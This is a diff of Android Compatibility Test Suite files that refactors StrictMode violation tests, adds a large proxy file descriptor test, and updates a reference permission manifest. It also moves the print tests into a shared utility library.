+ violation ->
+ assertThat(violation.getStackTrace())
+ .contains(UntaggedSocketViolation.MESSAGE));
}
+ private static final int PERMISSION_USER_ONLY = 0600;
+
+ @Test
public void testRead() throws Exception {
final File test = File.createTempFile("foo", "bar");
final File dir = test.getParentFile();
final FileInputStream is = new FileInputStream(test);
- final FileDescriptor fd = Os.open(test.getAbsolutePath(), OsConstants.O_RDONLY, 0600);
+ final FileDescriptor fd =
+ Os.open(test.getAbsolutePath(), OsConstants.O_RDONLY, PERMISSION_USER_ONLY);
- StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
- .detectDiskReads()
- .penaltyLog()
- .build());
+ StrictMode.setThreadPolicy(
+ new StrictMode.ThreadPolicy.Builder().detectDiskReads().penaltyLog().build());
+ inspectViolation(
+ test::exists,
+ violation -> {
+ assertThat(violation.getViolationDetails()).isNull();
+ assertThat(violation.getStackTrace()).contains("DiskReadViolation");
+ });
- assertViolation("StrictModeDiskReadViolation", () -> {
- test.exists();
- });
- assertViolation("StrictModeDiskReadViolation", () -> {
- test.length();
- });
- assertViolation("StrictModeDiskReadViolation", () -> {
- dir.list();
- });
- assertViolation("StrictModeDiskReadViolation", () -> {
- new FileInputStream(test);
- });
- assertViolation("StrictModeDiskReadViolation", () -> {
- is.read();
- });
- assertViolation("StrictModeDiskReadViolation", () -> {
- Os.open(test.getAbsolutePath(), OsConstants.O_RDONLY, 0600);
- });
- assertViolation("StrictModeDiskReadViolation", () -> {
- Os.read(fd, new byte[10], 0, 1);
- });
+ Consumer<ViolationInfo> assertDiskReadPolicy =
+ violation -> assertPolicy(violation, StrictMode.DETECT_DISK_READ);
+ inspectViolation(test::exists, assertDiskReadPolicy);
+ inspectViolation(test::length, assertDiskReadPolicy);
+ inspectViolation(dir::list, assertDiskReadPolicy);
+ inspectViolation(is::read, assertDiskReadPolicy);
+
+ inspectViolation(() -> new FileInputStream(test), assertDiskReadPolicy);
+ inspectViolation(
+ () -> Os.open(test.getAbsolutePath(), OsConstants.O_RDONLY, PERMISSION_USER_ONLY),
+ assertDiskReadPolicy);
+ inspectViolation(() -> Os.read(fd, new byte[10], 0, 1), assertDiskReadPolicy);
}
+ @Test
public void testWrite() throws Exception {
File file = File.createTempFile("foo", "bar");
final FileOutputStream os = new FileOutputStream(file);
- final FileDescriptor fd = Os.open(file.getAbsolutePath(), OsConstants.O_RDWR, 0600);
+ final FileDescriptor fd =
+ Os.open(file.getAbsolutePath(), OsConstants.O_RDWR, PERMISSION_USER_ONLY);
- StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
- .detectDiskWrites()
- .penaltyLog()
- .build());
+ StrictMode.setThreadPolicy(
+ new StrictMode.ThreadPolicy.Builder().detectDiskWrites().penaltyLog().build());
- assertViolation("StrictModeDiskWriteViolation", () -> {
- File.createTempFile("foo", "bar");
- });
- assertViolation("StrictModeDiskWriteViolation", () -> {
- file.delete();
- });
- assertViolation("StrictModeDiskWriteViolation", () -> {
- file.createNewFile();
- });
- assertViolation("StrictModeDiskWriteViolation", () -> {
- new FileOutputStream(file);
- });
- assertViolation("StrictModeDiskWriteViolation", () -> {
- os.write(32);
- });
- assertViolation("StrictModeDiskWriteViolation", () -> {
- Os.open(file.getAbsolutePath(), OsConstants.O_RDWR, 0600);
- });
- assertViolation("StrictModeDiskWriteViolation", () -> {
- Os.write(fd, new byte[10], 0, 1);
- });
- assertViolation("StrictModeDiskWriteViolation", () -> {
- Os.fsync(fd);
- });
- assertViolation("StrictModeDiskWriteViolation", () -> {
- file.renameTo(new File(file.getParent(), "foobar"));
- });
+ inspectViolation(
+ file::createNewFile,
+ violation -> {
+ assertThat(violation.getViolationDetails()).isNull();
+ assertThat(violation.getStackTrace()).contains("DiskWriteViolation");
+ });
+
+ Consumer<ViolationInfo> assertDiskWritePolicy =
+ violation -> assertPolicy(violation, StrictMode.DETECT_DISK_WRITE);
+
+ inspectViolation(() -> File.createTempFile("foo", "bar"), assertDiskWritePolicy);
+ inspectViolation(() -> new FileOutputStream(file), assertDiskWritePolicy);
+ inspectViolation(file::delete, assertDiskWritePolicy);
+ inspectViolation(file::createNewFile, assertDiskWritePolicy);
+ inspectViolation(() -> os.write(32), assertDiskWritePolicy);
+
+ inspectViolation(
+ () -> Os.open(file.getAbsolutePath(), OsConstants.O_RDWR, PERMISSION_USER_ONLY),
+ assertDiskWritePolicy);
+ inspectViolation(() -> Os.write(fd, new byte[10], 0, 1), assertDiskWritePolicy);
+ inspectViolation(() -> Os.fsync(fd), assertDiskWritePolicy);
+ inspectViolation(
+ () -> file.renameTo(new File(file.getParent(), "foobar")), assertDiskWritePolicy);
}
+ @Test
public void testNetwork() throws Exception {
if (!hasInternetConnection()) {
Log.i(TAG, "testUntaggedSockets() ignored on device without Internet");
return;
}
- StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
- .detectNetwork()
- .penaltyLog()
- .build());
+ StrictMode.setThreadPolicy(
+ new StrictMode.ThreadPolicy.Builder().detectNetwork().penaltyLog().build());
- assertViolation("StrictModeNetworkViolation", () -> {
- try (Socket socket = new Socket("example.com", 80)) {
- socket.getOutputStream().close();
- }
- });
+ inspectViolation(
+ () -> {
+ try (Socket socket = new Socket("example.com", 80)) {
+ socket.getOutputStream().close();
+ }
+ },
+ violation -> assertPolicy(violation, StrictMode.DETECT_NETWORK));
+ inspectViolation(
+ () ->
+ ((HttpURLConnection) new URL("http://example.com/").openConnection())
+ .getResponseCode(),
+ violation -> assertPolicy(violation, StrictMode.DETECT_NETWORK));
+ }
- assertViolation("StrictModeNetworkViolation", () -> {
- ((HttpURLConnection) new URL("http://example.com/").openConnection())
- .getResponseCode();
- });
+ @Test
+ public void testViolationAcrossBinder() throws Exception {
+ runWithRemoteServiceBound(
+ getContext(),
+ service -> {
+ StrictMode.setThreadPolicy(
+ new Builder().detectDiskWrites().penaltyLog().build());
+
+ try {
+ inspectViolation(
+ () -> service.performDiskWrite(),
+ (violation) -> {
+ assertPolicy(violation, StrictMode.DETECT_DISK_WRITE);
+ assertThat(violation.getViolationDetails())
+ .isNull(); // Disk write has no message.
+ assertThat(violation.getStackTrace())
+ .contains("DiskWriteViolation");
+ assertThat(violation.getStackTrace())
+ .contains(
+ "at android.os.StrictMode$AndroidBlockGuardPolicy.onWriteToDisk");
+ assertThat(violation.getStackTrace())
+ .contains("# via Binder call with stack:");
+ assertThat(violation.getStackTrace())
+ .contains(
+ "at android.os.cts.ISecondary$Stub$Proxy.performDiskWrite");
+ });
+ assertNoViolation(() -> service.getPid());
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ });
+ }
+
+ private static void runWithRemoteServiceBound(Context context, Consumer<ISecondary> consumer)
+ throws ExecutionException, InterruptedException, RemoteException {
+ BlockingQueue<IBinder> binderHolder = new ArrayBlockingQueue<>(1);
+ ServiceConnection secondaryConnection =
+ new ServiceConnection() {
+ public void onServiceConnected(ComponentName className, IBinder service) {
+ binderHolder.add(service);
+ }
+
+ public void onServiceDisconnected(ComponentName className) {
+ binderHolder.drainTo(new ArrayList<>());
+ }
+ };
+ Intent intent = new Intent(REMOTE_SERVICE_ACTION);
+ intent.setPackage(context.getPackageName());
+
+ Intent secondaryIntent = new Intent(ISecondary.class.getName());
+ secondaryIntent.setPackage(context.getPackageName());
+ assertThat(
+ context.bindService(
+ secondaryIntent, secondaryConnection, Context.BIND_AUTO_CREATE))
+ .isTrue();
+ IBinder binder = binderHolder.take();
+ assertThat(binder.queryLocalInterface(binder.getInterfaceDescriptor())).isNull();
+ consumer.accept(ISecondary.Stub.asInterface(binder));
+ context.unbindService(secondaryConnection);
+ context.stopService(intent);
}
private static void assertViolation(String expected, ThrowingRunnable r) throws Exception {
- final LinkedBlockingQueue<String> violations = new LinkedBlockingQueue<>();
- StrictMode.setViolationListener(new ViolationListener() {
- @Override
- public void onViolation(String message) {
- violations.add(message);
- }
- });
-
- try {
- r.run();
- while (true) {
- final String violation = violations.poll(5, TimeUnit.SECONDS);
- if (violation == null) {
- fail("Expected violation not found: " + expected);
- } else if (violation.contains(expected)) {
- return;
- }
- }
- } finally {
- StrictMode.setViolationListener(null);
- }
+ inspectViolation(r, violation -> assertThat(violation.getStackTrace()).contains(expected));
}
private static void assertNoViolation(ThrowingRunnable r) throws Exception {
- final LinkedBlockingQueue<String> violations = new LinkedBlockingQueue<>();
- StrictMode.setViolationListener(new ViolationListener() {
- @Override
- public void onViolation(String message) {
- violations.add(message);
- }
- });
+ inspectViolation(
+ r, violation -> assertWithMessage("Unexpected violation").that(violation).isNull());
+ }
+
+ private void assertPolicy(ViolationInfo info, int policy) {
+ assertWithMessage("Policy bit incorrect").that(info.getViolationBit()).isEqualTo(policy);
+ }
+
+ private static void inspectViolation(
+ ThrowingRunnable violating, Consumer<ViolationInfo> consume) throws Exception {
+ final LinkedBlockingQueue<ViolationInfo> violations = new LinkedBlockingQueue<>();
+ StrictMode.setViolationLogger(violations::add);
try {
- r.run();
- while (true) {
- final String violation = violations.poll(5, TimeUnit.SECONDS);
- if (violation == null) {
- return;
- } else {
- fail("Unexpected violation found: " + violation);
- }
- }
+ violating.run();
+ consume.accept(violations.poll(5, TimeUnit.SECONDS));
} finally {
- StrictMode.setViolationListener(null);
+ StrictMode.setViolationLogger(null);
}
}
diff --git a/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java b/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
index a820ac0..676465e 100644
--- a/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
+++ b/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
@@ -617,6 +617,38 @@
looperThread.join();
}
+ public void testOpenProxyFileDescriptor_largeFile() throws Exception {
+ final ProxyFileDescriptorCallback callback = new ProxyFileDescriptorCallback() {
+ @Override
+ public int onRead(long offset, int size, byte[] data) throws ErrnoException {
+ for (int i = 0; i < size; i++) {
+ data[i] = 'L';
+ }
+ return size;
+ }
+
+ @Override
+ public long onGetSize() throws ErrnoException {
+ return 8L * 1024L * 1024L * 1024L; // 8GB
+ }
+
+ @Override
+ public void onRelease() {}
+ };
+ final byte[] bytes = new byte[128];
+ try (final ParcelFileDescriptor fd = mStorageManager.openProxyFileDescriptor(
+ ParcelFileDescriptor.MODE_READ_ONLY, callback)) {
+ assertEquals(8L * 1024L * 1024L * 1024L, fd.getStatSize());
+
+ final int readBytes = Os.pread(
+ fd.getFileDescriptor(), bytes, 0, bytes.length, fd.getStatSize() - 64L);
+ assertEquals(64, readBytes);
+ for (int i = 0; i < 64; i++) {
+ assertEquals('L', bytes[i]);
+ }
+ }
+ }
+
private void assertStorageVolumesEquals(StorageVolume volume, StorageVolume clone)
throws Exception {
// Asserts equals() method.
diff --git a/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java b/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
index 921f5f1..06e858e 100644
--- a/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
+++ b/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
@@ -41,7 +41,6 @@
private PackageManager mPm;
private String mPackageName;
private UiDevice mUiDevice;
- private boolean mHasFeature;
@Before
public void setUp() throws Exception {
@@ -49,7 +48,6 @@
mPm = mContext.getPackageManager();
mPackageName = mContext.getPackageName();
mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
- mHasFeature = !mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
}
private void setAppOpsMode(String mode) throws IOException {
@@ -86,9 +84,6 @@
@Test
public void testManageUnknownSourcesExists() {
- if (!mHasFeature) {
- return;
- }
Intent manageUnknownSources = new Intent(Settings.ACTION_MANAGE_UNKNOWN_APP_SOURCES);
ResolveInfo info = mPm.resolveActivity(manageUnknownSources, 0);
Assert.assertNotNull("No activity found for " + manageUnknownSources.getAction(), info);
diff --git a/tests/tests/permission/jni/Android.mk b/tests/tests/permission/jni/Android.mk
index e8b3f1a..1d4d77d 100644
--- a/tests/tests/permission/jni/Android.mk
+++ b/tests/tests/permission/jni/Android.mk
@@ -32,6 +32,6 @@
LOCAL_CPPFLAGS := -std=gnu++11
LOCAL_NDK_STL_VARIANT := c++_static
-LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/permission/jni/android_permission_cts_FileUtils.cpp b/tests/tests/permission/jni/android_permission_cts_FileUtils.cpp
index 068f684..68c3c76 100644
--- a/tests/tests/permission/jni/android_permission_cts_FileUtils.cpp
+++ b/tests/tests/permission/jni/android_permission_cts_FileUtils.cpp
@@ -106,7 +106,7 @@
{
__android_log_print(ANDROID_LOG_DEBUG, NULL,
"isPermittedCapBitSet(): getxattr(\"%s\") call failed: "
- "return %d (error: %s (%d))\n",
+ "return %zd (error: %s (%d))\n",
cPath.c_str(), result, strerror(errno), errno);
return false;
}
@@ -190,7 +190,7 @@
{
__android_log_print(ANDROID_LOG_DEBUG, NULL,
"fileHasOnly(): getxattr(\"%s\") call failed: "
- "return %d (error: %s (%d))\n",
+ "return %zd (error: %s (%d))\n",
cPath.c_str(), result, strerror(errno), errno);
return false;
}
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index a4dad83..670eb3c 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -309,6 +309,10 @@
<protected-broadcast android:name="com.android.server.usb.ACTION_OPEN_IN_APPS" />
<protected-broadcast android:name="com.android.server.am.DELETE_DUMPHEAP" />
<protected-broadcast android:name="com.android.server.net.action.SNOOZE_WARNING" />
+ <protected-broadcast android:name="com.android.server.wifi.ConnectToNetworkNotification.USER_DISMISSED_NOTIFICATION" />
+ <protected-broadcast android:name="com.android.server.wifi.ConnectToNetworkNotification.CONNECT_TO_NETWORK" />
+ <protected-broadcast android:name="com.android.server.wifi.ConnectToNetworkNotification.PICK_WIFI_NETWORK" />
+ <protected-broadcast android:name="com.android.server.wifi.ConnectToNetworkNotification.PICK_NETWORK_AFTER_FAILURE" />
<protected-broadcast android:name="android.net.wifi.WIFI_STATE_CHANGED" />
<protected-broadcast android:name="android.net.wifi.WIFI_AP_STATE_CHANGED" />
<protected-broadcast android:name="android.net.wifi.WIFI_CREDENTIAL_CHANGED" />
@@ -547,6 +551,9 @@
<protected-broadcast android:name="android.media.tv.action.CHANNEL_BROWSABLE_REQUESTED" />
<protected-broadcast android:name="com.android.server.InputMethodManagerService.SHOW_INPUT_METHOD_PICKER" />
+ <!-- Made protected in P (was introduced in JB-MR2) -->
+ <protected-broadcast android:name="android.intent.action.GET_RESTRICTION_ENTRIES" />
+
<!-- ====================================================================== -->
<!-- RUNTIME PERMISSIONS -->
<!-- ====================================================================== -->
@@ -563,6 +570,7 @@
android:icon="@drawable/perm_group_contacts"
android:label="@string/permgrouplab_contacts"
android:description="@string/permgroupdesc_contacts"
+ android:request="@string/permgrouprequest_contacts"
android:priority="100" />
<!-- Allows an application to read the user's contacts data.
@@ -593,6 +601,7 @@
android:icon="@drawable/perm_group_calendar"
android:label="@string/permgrouplab_calendar"
android:description="@string/permgroupdesc_calendar"
+ android:request="@string/permgrouprequest_calendar"
android:priority="200" />
<!-- Allows an application to read the user's calendar data.
@@ -623,6 +632,7 @@
android:icon="@drawable/perm_group_sms"
android:label="@string/permgrouplab_sms"
android:description="@string/permgroupdesc_sms"
+ android:request="@string/permgrouprequest_sms"
android:priority="300" />
<!-- Allows an application to send SMS messages.
@@ -699,6 +709,7 @@
android:icon="@drawable/perm_group_storage"
android:label="@string/permgrouplab_storage"
android:description="@string/permgroupdesc_storage"
+ android:request="@string/permgrouprequest_storage"
android:priority="900" />
<!-- Allows an application to read from external storage.
@@ -760,6 +771,7 @@
android:icon="@drawable/perm_group_location"
android:label="@string/permgrouplab_location"
android:description="@string/permgroupdesc_location"
+ android:request="@string/permgrouprequest_location"
android:priority="400" />
<!-- Allows an app to access precise location.
@@ -792,6 +804,7 @@
android:icon="@drawable/perm_group_phone_calls"
android:label="@string/permgrouplab_phone"
android:description="@string/permgroupdesc_phone"
+ android:request="@string/permgrouprequest_phone"
android:priority="500" />
<!-- Allows read only access to phone state, including the phone number of the device,
@@ -943,6 +956,7 @@
android:icon="@drawable/perm_group_microphone"
android:label="@string/permgrouplab_microphone"
android:description="@string/permgroupdesc_microphone"
+ android:request="@string/permgrouprequest_microphone"
android:priority="600" />
<!-- Allows an application to record audio.
@@ -985,6 +999,7 @@
android:icon="@drawable/perm_group_camera"
android:label="@string/permgrouplab_camera"
android:description="@string/permgroupdesc_camera"
+ android:request="@string/permgrouprequest_camera"
android:priority="700" />
<!-- Required to be able to access the camera device.
@@ -1014,6 +1029,7 @@
android:icon="@drawable/perm_group_sensors"
android:label="@string/permgrouplab_sensors"
android:description="@string/permgroupdesc_sensors"
+ android:request="@string/permgrouprequest_sensors"
android:priority="800" />
<!-- Allows an application to access data from sensors that the user uses to
@@ -1860,11 +1876,11 @@
<!-- @SystemApi @hide Allows an application to create/manage/remove stacks -->
<permission android:name="android.permission.MANAGE_ACTIVITY_STACKS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged|development" />
<!-- @SystemApi @hide Allows an application to embed other activities -->
<permission android:name="android.permission.ACTIVITY_EMBEDDING"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged|development" />
<!-- Allows an application to start any activity, regardless of permission
protection or exported state.
@@ -2270,7 +2286,7 @@
<p>An application requesting this permission is responsible for
verifying the source and integrity of the update before passing
it off to the installer components.
- @hide -->
+ @SystemApi @hide -->
<permission android:name="android.permission.UPDATE_TIME_ZONE_RULES"
android:protectionLevel="signature|privileged" />
@@ -2390,7 +2406,8 @@
<permission android:name="android.permission.UPDATE_DEVICE_STATS"
android:protectionLevel="signature|privileged" />
- <!-- @SystemApi @hide Allows an application to collect battery statistics -->
+ <!-- @SystemApi @hide Allows an application to collect application operation statistics.
+ Not for use by third party apps. -->
<permission android:name="android.permission.GET_APP_OPS_STATS"
android:protectionLevel="signature|privileged|development" />
@@ -2415,10 +2432,10 @@
android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to use
- {@link android.view.WindowManager.LayoutsParams#PRIVATE_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS}
- to hide non-system-overlay windows.
- <p>Not for use by third-party applications.
- @hide
+ {@link android.view.WindowManager.LayoutsParams#PRIVATE_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS}
+ to hide non-system-overlay windows.
+ <p>Not for use by third-party applications.
+ @hide
-->
<permission android:name="android.permission.HIDE_NON_SYSTEM_OVERLAY_WINDOWS"
android:protectionLevel="signature|installer" />
@@ -2625,10 +2642,6 @@
<permission android:name="android.permission.BIND_AUTOFILL_SERVICE"
android:protectionLevel="signature" />
- <!-- @hide TODO(b/37563972): remove once clients use BIND_AUTOFILL_SERVICE -->
- <permission android:name="android.permission.BIND_AUTOFILL"
- android:protectionLevel="signature" />
-
<!-- Must be required by hotword enrollment application,
to ensure that only the system can interact with it.
@hide <p>Not for use by third-party applications.</p> -->
@@ -2766,6 +2779,14 @@
<!-- @SystemApi Allows an application to install packages.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.INSTALL_PACKAGES"
+ android:protectionLevel="signature|privileged" />
+
+ <!-- @SystemApi Allows an application to install self updates. This is a limited version
+ of {@link android.Manifest.permission#INSTALL_PACKAGES}.
+ <p>Not for use by third-party applications.
+ @hide
+ -->
+ <permission android:name="android.permission.INSTALL_SELF_UPDATES"
android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to clear user data.
@@ -2877,6 +2898,13 @@
<permission android:name="android.permission.CONFIGURE_DISPLAY_COLOR_MODE"
android:protectionLevel="signature" />
+ <!-- Allows an application to collect usage infomation about brightness slider changes.
+ <p>Not for use by third-party applications.</p>
+ TODO: make a System API
+ @hide -->
+ <permission android:name="android.permission.BRIGHTNESS_SLIDER_USAGE"
+ android:protectionLevel="signature|privileged" />
+
<!-- @SystemApi Allows an application to control VPN.
<p>Not for use by third-party applications.</p>
@hide -->
@@ -3032,10 +3060,10 @@
android:protectionLevel="signature|privileged|development|appop" />
<uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
- <!-- @hide Allows an application to change the app idle state of an app.
+ <!-- @hide @SystemApi Allows an application to change the app idle state of an app.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.CHANGE_APP_IDLE_STATE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature|privileged" />
<!-- @hide @SystemApi Allows an application to temporarily whitelist an inactive app to
access the network and acquire wakelocks.
@@ -3056,6 +3084,12 @@
<permission android:name="android.permission.BATTERY_STATS"
android:protectionLevel="signature|privileged|development" />
+ <!--Allows an application to manage statscompanion.
+ <p>Not for use by third-party applications.
+ @hide -->
+ <permission android:name="android.permission.STATSCOMPANION"
+ android:protectionLevel="signature" />
+
<!-- @SystemApi Allows an application to control the backup and restore process.
<p>Not for use by third-party applications.
@hide pending API council -->
@@ -3082,6 +3116,13 @@
<permission android:name="android.permission.BIND_APPWIDGET"
android:protectionLevel="signature|privileged" />
+ <!-- Allows an application to bind app's slices and get their
+ content. This content will be surfaced to the
+ user and not to leave the device.
+ <p>Not for use by third-party applications. -->
+ <permission android:name="android.permission.BIND_SLICE"
+ android:protectionLevel="signature|privileged|development" />
+
<!-- @SystemApi Private permission, to restrict who can bring up a dialog to add a new
keyguard widget
@hide -->
@@ -3126,6 +3167,11 @@
<permission android:name="android.permission.READ_SEARCH_INDEXABLES"
android:protectionLevel="signature|privileged" />
+ <!-- @SystemApi Internal permission to allows an application to bind to suggestion service.
+ @hide -->
+ <permission android:name="android.permission.BIND_SETTINGS_SUGGESTIONS_SERVICE"
+ android:protectionLevel="signature" />
+
<!-- @SystemApi Allows applications to set a live wallpaper.
@hide XXX Change to signature once the picker is moved to its
own apk as Ghod Intended. -->
@@ -3548,6 +3594,10 @@
<permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE"
android:protectionLevel="signature|development|instant|appop" />
+ <!-- @hide Allows system components to access all app shortcuts. -->
+ <permission android:name="android.permission.ACCESS_SHORTCUTS"
+ android:protectionLevel="signature" />
+
<application android:process="system"
android:persistent="true"
android:hasCode="false"
@@ -3788,14 +3838,6 @@
</intent-filter>
</receiver>
- <receiver android:name="com.android.server.updates.TzDataInstallReceiver"
- android:permission="android.permission.UPDATE_CONFIG">
- <intent-filter>
- <action android:name="android.intent.action.UPDATE_TZDATA" />
- <data android:scheme="content" android:host="*" android:mimeType="*/*" />
- </intent-filter>
- </receiver>
-
<receiver android:name="com.android.server.updates.CertificateTransparencyLogInstallReceiver"
android:permission="android.permission.UPDATE_CONFIG">
<intent-filter>
@@ -3836,6 +3878,16 @@
</intent-filter>
</receiver>
+ <receiver android:name="com.android.server.stats.StatsCompanionService$AnomalyAlarmReceiver"
+ android:permission="android.permission.STATSCOMPANION"
+ android:exported="false">
+ </receiver>
+
+ <receiver android:name="com.android.server.stats.StatsCompanionService$PollingAlarmReceiver"
+ android:permission="android.permission.STATSCOMPANION"
+ android:exported="false">
+ </receiver>
+
<service android:name="android.hardware.location.GeofenceHardwareService"
android:permission="android.permission.LOCATION_HARDWARE"
android:exported="false" />
@@ -3887,6 +3939,9 @@
android:permission="android.permission.BIND_JOB_SERVICE" >
</service>
+ <service android:name="com.android.server.timezone.TimeZoneUpdateIdler"
+ android:permission="android.permission.BIND_JOB_SERVICE" >
+ </service>
</application>
</manifest>
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 35a99da..c883f03 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -140,7 +140,11 @@
// OEMs cannot define permissions in the platform namespace
for (String permission : declaredPermissionsMap.keySet()) {
if (permission.startsWith(PLATFORM_ROOT_NAMESPACE)) {
- offendingList.add("Cannot define permission in android namespace:" + permission);
+ final PermissionInfo permInfo = declaredPermissionsMap.get(permission);
+ offendingList.add(
+ "Cannot define permission " + permission
+ + ", package " + permInfo.packageName
+ + " in android namespace");
}
}
@@ -151,11 +155,9 @@
if (declaredGroup.packageName.equals(PLATFORM_PACKAGE_NAME)
|| declaredGroup.name.startsWith(PLATFORM_ROOT_NAMESPACE)) {
offendingList.add(
- "Cannot define group "
- + declaredGroup.name
- + ", package "
- + declaredGroup.packageName
- + " in android namespace");
+ "Cannot define group " + declaredGroup.name
+ + ", package " + declaredGroup.packageName
+ + " in android namespace");
}
}
}
diff --git a/tests/tests/print/Android.mk b/tests/tests/print/Android.mk
index c9b036a..aba1b80 100644
--- a/tests/tests/print/Android.mk
+++ b/tests/tests/print/Android.mk
@@ -16,7 +16,7 @@
include $(CLEAR_VARS)
-LOCAL_MODULE_TAGS := optional
+LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
@@ -27,8 +27,9 @@
LOCAL_PACKAGE_NAME := CtsPrintTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := mockito-target-minus-junit4 ctstestrunner ub-uiautomator compatibility-device-util android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := print-test-util-lib
LOCAL_SDK_VERSION := test_current
include $(BUILD_CTS_PACKAGE)
+include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
diff --git a/tests/tests/print/AndroidManifest.xml b/tests/tests/print/AndroidManifest.xml
index c5148c8..ef86c30 100644
--- a/tests/tests/print/AndroidManifest.xml
+++ b/tests/tests/print/AndroidManifest.xml
@@ -25,10 +25,12 @@
<uses-library android:name="android.test.runner"/>
- <activity android:name="android.print.cts.PrintDocumentActivity"/>
+ <activity
+ android:name="android.print.test.PrintDocumentActivity"
+ android:theme="@style/NoAnimation" />
<service
- android:name="android.print.cts.services.FirstPrintService"
+ android:name="android.print.test.services.FirstPrintService"
android:permission="android.permission.BIND_PRINT_SERVICE">
<intent-filter>
<action android:name="android.printservice.PrintService" />
@@ -40,7 +42,7 @@
</service>
<service
- android:name="android.print.cts.services.SecondPrintService"
+ android:name="android.print.test.services.SecondPrintService"
android:permission="android.permission.BIND_PRINT_SERVICE">
<intent-filter>
<action android:name="android.printservice.PrintService" />
@@ -52,25 +54,28 @@
</service>
<activity
- android:name="android.print.cts.services.SettingsActivity"
+ android:name="android.print.test.services.SettingsActivity"
+ android:theme="@style/NoAnimation"
android:exported="true">
</activity>
<activity
- android:name="android.print.cts.services.AddPrintersActivity"
+ android:name="android.print.test.services.AddPrintersActivity"
+ android:theme="@style/NoAnimation"
android:exported="true">
</activity>
<activity
- android:name="android.print.cts.services.InfoActivity"
- android:exported="true">
+ android:name="android.print.test.services.InfoActivity"
+ android:theme="@style/NoAnimation"
+ android:exported="true">
</activity>
<activity
- android:name="android.print.cts.services.CustomPrintOptionsActivity"
+ android:name="android.print.test.services.CustomPrintOptionsActivity"
android:permission="android.permission.START_PRINT_SERVICE_CONFIG_ACTIVITY"
android:exported="true"
- android:theme="@style/Theme.Translucent">
+ android:theme="@style/NoAnimationTranslucent">
</activity>
</application>
diff --git a/tests/tests/print/printTestUtilLib/Android.mk b/tests/tests/print/printTestUtilLib/Android.mk
new file mode 100644
index 0000000..9b6086a
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/Android.mk
@@ -0,0 +1,27 @@
+# Copyright (C) 2017s The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_MODULE := print-test-util-lib
+
+LOCAL_STATIC_JAVA_LIBRARIES := mockito-target-minus-junit4 ctstestrunner ub-uiautomator compatibility-device-util android-support-test
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
\ No newline at end of file
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java b/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java
new file mode 100644
index 0000000..fbfff33
--- /dev/null
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java
@@ -0,0 +1,1150 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.test;
+
+import static android.content.pm.PackageManager.GET_META_DATA;
+import static android.content.pm.PackageManager.GET_SERVICES;
+import static android.print.test.Utils.getPrintManager;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
